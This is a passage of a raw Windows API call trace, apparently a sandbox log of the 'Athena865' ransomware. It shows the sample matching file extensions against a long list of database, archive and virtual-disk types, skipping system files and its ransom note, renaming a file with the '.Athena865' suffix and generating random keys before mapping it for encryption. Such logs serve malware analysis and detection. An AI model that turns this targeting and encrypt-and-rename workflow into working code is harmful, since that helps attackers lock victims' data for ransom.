lstrlenW (lpString="rar") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.462] lstrlenW (lpString="zip") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.462] lstrlenW (lpString="tgz") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.462] lstrlenW (lpString="vbox") returned 4 [0129.462] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.462] lstrlenW (lpString="vdi") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.462] lstrlenW (lpString="vhd") returned 3 [0129.462] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.462] lstrlenW (lpString="vhdx") returned 4 [0129.462] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.462] lstrlenW (lpString="avhd") returned 4 [0129.462] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.462] lstrlenW (lpString="db") returned 2 [0129.462] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.462] lstrlenW (lpString="db2") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.463] lstrlenW (lpString="db3") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.463] lstrlenW (lpString="dbf") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.463] lstrlenW (lpString="mdf") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.463] lstrlenW (lpString="mdb") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.463] lstrlenW (lpString="sql") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.463] lstrlenW (lpString="sqlite") returned 6 [0129.463] lstrcmpiW (lpString1="40.WMF", lpString2="sqlite") returned -1 [0129.463] lstrlenW (lpString="sqlite3") returned 7 [0129.463] lstrcmpiW (lpString1="640.WMF", lpString2="sqlite3") returned -1 [0129.463] lstrlenW (lpString="sqlitedb") returned 8 [0129.463] lstrcmpiW (lpString1="1640.WMF", lpString2="sqlitedb") returned -1 [0129.463] lstrlenW (lpString="xml") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.463] lstrlenW (lpString="$er") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.463] lstrlenW (lpString="4dd") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.463] lstrlenW (lpString="4dl") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.463] lstrlenW (lpString="^^^") returned 3 [0129.463] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.463] lstrlenW (lpString="abs") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.464] lstrlenW (lpString="abx") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.464] lstrlenW (lpString="accdb") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0129.464] lstrlenW (lpString="accdc") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0129.464] lstrlenW (lpString="accde") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0129.464] lstrlenW (lpString="accdr") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0129.464] lstrlenW (lpString="accdt") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0129.464] lstrlenW (lpString="accdw") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0129.464] lstrlenW (lpString="accft") returned 5 [0129.464] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0129.464] lstrlenW (lpString="adb") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.464] lstrlenW (lpString="adb") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.464] lstrlenW (lpString="ade") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.464] lstrlenW (lpString="adf") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.464] lstrlenW (lpString="adn") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.464] lstrlenW (lpString="adp") returned 3 [0129.464] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.465] lstrlenW (lpString="alf") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.465] lstrlenW (lpString="ask") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.465] lstrlenW (lpString="btr") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.465] lstrlenW (lpString="cat") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.465] lstrlenW (lpString="cdb") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.465] lstrlenW (lpString="ckp") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.465] lstrlenW (lpString="cma") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.465] lstrlenW (lpString="cpd") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.465] lstrlenW (lpString="dacpac") returned 6 [0129.465] lstrcmpiW (lpString1="40.WMF", lpString2="dacpac") returned -1 [0129.465] lstrlenW (lpString="dad") returned 3 [0129.465] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.465] lstrlenW (lpString="dadiagrams") returned 10 [0129.465] lstrcmpiW (lpString1="281640.WMF", lpString2="dadiagrams") returned -1 [0129.465] lstrlenW (lpString="daschema") returned 8 [0129.465] lstrcmpiW (lpString1="1640.WMF", lpString2="daschema") returned -1 [0129.465] lstrlenW (lpString="db-journal") returned 10 [0129.465] lstrcmpiW (lpString1="281640.WMF", lpString2="db-journal") returned -1 [0129.466] lstrlenW (lpString="db-shm") returned 6 [0129.466] lstrcmpiW (lpString1="40.WMF", lpString2="db-shm") returned -1 [0129.466] lstrlenW (lpString="db-wal") returned 6 [0129.466] lstrcmpiW (lpString1="40.WMF", lpString2="db-wal") returned -1 [0129.466] lstrlenW (lpString="dbc") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.466] lstrlenW (lpString="dbs") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.466] lstrlenW (lpString="dbt") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.466] lstrlenW (lpString="dbv") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.466] lstrlenW (lpString="dbx") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.466] lstrlenW (lpString="dcb") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.466] lstrlenW (lpString="dct") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.466] lstrlenW (lpString="dcx") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.466] lstrlenW (lpString="ddl") returned 3 [0129.466] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.466] lstrlenW (lpString="dlis") returned 4 [0129.466] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.467] lstrlenW (lpString="dp1") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.467] lstrlenW (lpString="dqy") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.467] lstrlenW (lpString="dsk") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.467] lstrlenW (lpString="dsn") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.467] lstrlenW (lpString="dtsx") returned 4 [0129.467] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.467] lstrlenW (lpString="dxl") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.467] lstrlenW (lpString="eco") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.467] lstrlenW (lpString="ecx") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.467] lstrlenW (lpString="edb") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.467] lstrlenW (lpString="epim") returned 4 [0129.467] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.467] lstrlenW (lpString="fcd") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.467] lstrlenW (lpString="fdb") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.467] lstrlenW (lpString="fic") returned 3 [0129.467] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.467] lstrlenW (lpString="flexolibrary") returned 12 [0129.468] lstrlenW (lpString="fm5") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.468] lstrlenW (lpString="fmp") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.468] lstrlenW (lpString="fmp12") returned 5 [0129.468] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0129.468] lstrlenW (lpString="fmpsl") returned 5 [0129.468] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0129.468] lstrlenW (lpString="fol") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.468] lstrlenW (lpString="fp3") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.468] lstrlenW (lpString="fp4") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.468] lstrlenW (lpString="fp5") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.468] lstrlenW (lpString="fp7") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.468] lstrlenW (lpString="fpt") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.468] lstrlenW (lpString="frm") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.468] lstrlenW (lpString="gdb") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.468] lstrlenW (lpString="gdb") returned 3 [0129.468] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.468] lstrlenW (lpString="grdb") returned 4 [0129.469] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.469] lstrlenW (lpString="gwi") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.469] lstrlenW (lpString="hdb") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.469] lstrlenW (lpString="his") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.469] lstrlenW (lpString="ib") returned 2 [0129.469] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.469] lstrlenW (lpString="idb") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.469] lstrlenW (lpString="ihx") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.469] lstrlenW (lpString="itdb") returned 4 [0129.469] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.469] lstrlenW (lpString="itw") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.469] lstrlenW (lpString="jet") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.469] lstrlenW (lpString="jtx") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.469] lstrlenW (lpString="kdb") returned 3 [0129.469] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.469] lstrlenW (lpString="kexi") returned 4 [0129.469] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.469] lstrlenW (lpString="kexic") returned 5 [0129.469] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0129.469] lstrlenW (lpString="kexis") returned 5 [0129.470] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0129.470] lstrlenW (lpString="lgc") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.470] lstrlenW (lpString="lwx") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.470] lstrlenW (lpString="maf") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.470] lstrlenW (lpString="maq") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.470] lstrlenW (lpString="mar") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.470] lstrlenW (lpString="marshal") returned 7 [0129.470] lstrcmpiW (lpString1="640.WMF", lpString2="marshal") returned -1 [0129.470] lstrlenW (lpString="mas") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.470] lstrlenW (lpString="mav") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.470] lstrlenW (lpString="maw") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.470] lstrlenW (lpString="mdbhtml") returned 7 [0129.470] lstrcmpiW (lpString1="640.WMF", lpString2="mdbhtml") returned -1 [0129.470] lstrlenW (lpString="mdn") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.470] lstrlenW (lpString="mdt") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.470] lstrlenW (lpString="mfd") returned 3 [0129.470] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.471] lstrlenW (lpString="mpd") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.471] lstrlenW (lpString="mrg") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.471] lstrlenW (lpString="mud") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.471] lstrlenW (lpString="mwb") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.471] lstrlenW (lpString="myd") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.471] lstrlenW (lpString="ndf") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.471] lstrlenW (lpString="nnt") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.471] lstrlenW (lpString="nrmlib") returned 6 [0129.471] lstrcmpiW (lpString1="40.WMF", lpString2="nrmlib") returned -1 [0129.471] lstrlenW (lpString="ns2") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.471] lstrlenW (lpString="ns3") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.471] lstrlenW (lpString="ns4") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.471] lstrlenW (lpString="nsf") returned 3 [0129.471] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.471] lstrlenW (lpString="nv") returned 2 [0129.471] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.471] lstrlenW (lpString="nv2") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.472] lstrlenW (lpString="nwdb") returned 4 [0129.472] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.472] lstrlenW (lpString="nyf") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.472] lstrlenW (lpString="odb") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.472] lstrlenW (lpString="odb") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.472] lstrlenW (lpString="oqy") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.472] lstrlenW (lpString="ora") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.472] lstrlenW (lpString="orx") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.472] lstrlenW (lpString="owc") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.472] lstrlenW (lpString="p96") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.472] lstrlenW (lpString="p97") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.472] lstrlenW (lpString="pan") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.472] lstrlenW (lpString="pdb") returned 3 [0129.472] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.472] lstrlenW (lpString="pdm") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.473] lstrlenW (lpString="pnz") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.473] lstrlenW (lpString="qry") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.473] lstrlenW (lpString="qvd") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.473] lstrlenW (lpString="rbf") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.473] lstrlenW (lpString="rctd") returned 4 [0129.473] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.473] lstrlenW (lpString="rod") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.473] lstrlenW (lpString="rodx") returned 4 [0129.473] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.473] lstrlenW (lpString="rpd") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.473] lstrlenW (lpString="rsd") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.473] lstrlenW (lpString="sas7bdat") returned 8 [0129.473] lstrcmpiW (lpString1="1640.WMF", lpString2="sas7bdat") returned -1 [0129.473] lstrlenW (lpString="sbf") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.473] lstrlenW (lpString="scx") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.473] lstrlenW (lpString="sdb") returned 3 [0129.473] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.474] lstrlenW (lpString="sdc") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.474] lstrlenW (lpString="sdf") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.474] lstrlenW (lpString="sis") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.474] lstrlenW (lpString="spq") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.474] lstrlenW (lpString="te") returned 2 [0129.474] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.474] lstrlenW (lpString="teacher") returned 7 [0129.474] lstrcmpiW (lpString1="640.WMF", lpString2="teacher") returned -1 [0129.474] lstrlenW (lpString="tmd") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.474] lstrlenW (lpString="tps") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.474] lstrlenW (lpString="trc") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.474] lstrlenW (lpString="trc") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.474] lstrlenW (lpString="trm") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.474] lstrlenW (lpString="udb") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.474] lstrlenW (lpString="udl") returned 3 [0129.474] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.474] lstrlenW (lpString="usr") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.475] lstrlenW (lpString="v12") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.475] lstrlenW (lpString="vis") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.475] lstrlenW (lpString="vpd") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.475] lstrlenW (lpString="vvv") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.475] lstrlenW (lpString="wdb") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.475] lstrlenW (lpString="wmdb") returned 4 [0129.475] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.475] lstrlenW (lpString="wrk") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.475] lstrlenW (lpString="xdb") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.475] lstrlenW (lpString="xld") returned 3 [0129.475] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.475] lstrlenW (lpString="xmlff") returned 5 [0129.475] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0129.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.Athena865") returned 73 [0129.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.athena865"), dwFlags=0x1) returned 1 [0129.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.482] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12530) returned 1 [0129.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.482] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.485] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.485] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.486] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3400, lpName=0x0) returned 0x154 [0129.487] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3400) returned 0x100000 [0129.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.490] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.490] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.491] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.491] CloseHandle (hObject=0x154) returned 1 [0129.491] CloseHandle (hObject=0x17c) returned 1 [0129.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.491] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2=".") returned 1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2="..") returned 1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2="windows") returned -1 [0129.491] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootmgr") returned 1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="temp") returned -1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="pagefile.sys") returned -1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="boot") returned 1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ids.txt") returned 1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ntuser.dat") returned -1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="perflogs") returned -1 [0129.492] lstrcmpiW (lpString1="J0282126.WMF", lpString2="MSBuild") returned -1 [0129.492] lstrlenW (lpString="J0282126.WMF") returned 12 [0129.492] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0282126.WMF" | out: lpString1="J0282126.WMF") returned="J0282126.WMF" [0129.492] lstrlenW (lpString="J0282126.WMF") returned 12 [0129.492] lstrlenW (lpString="Athena865") returned 9 [0129.492] lstrcmpiW (lpString1="82126.WMF", 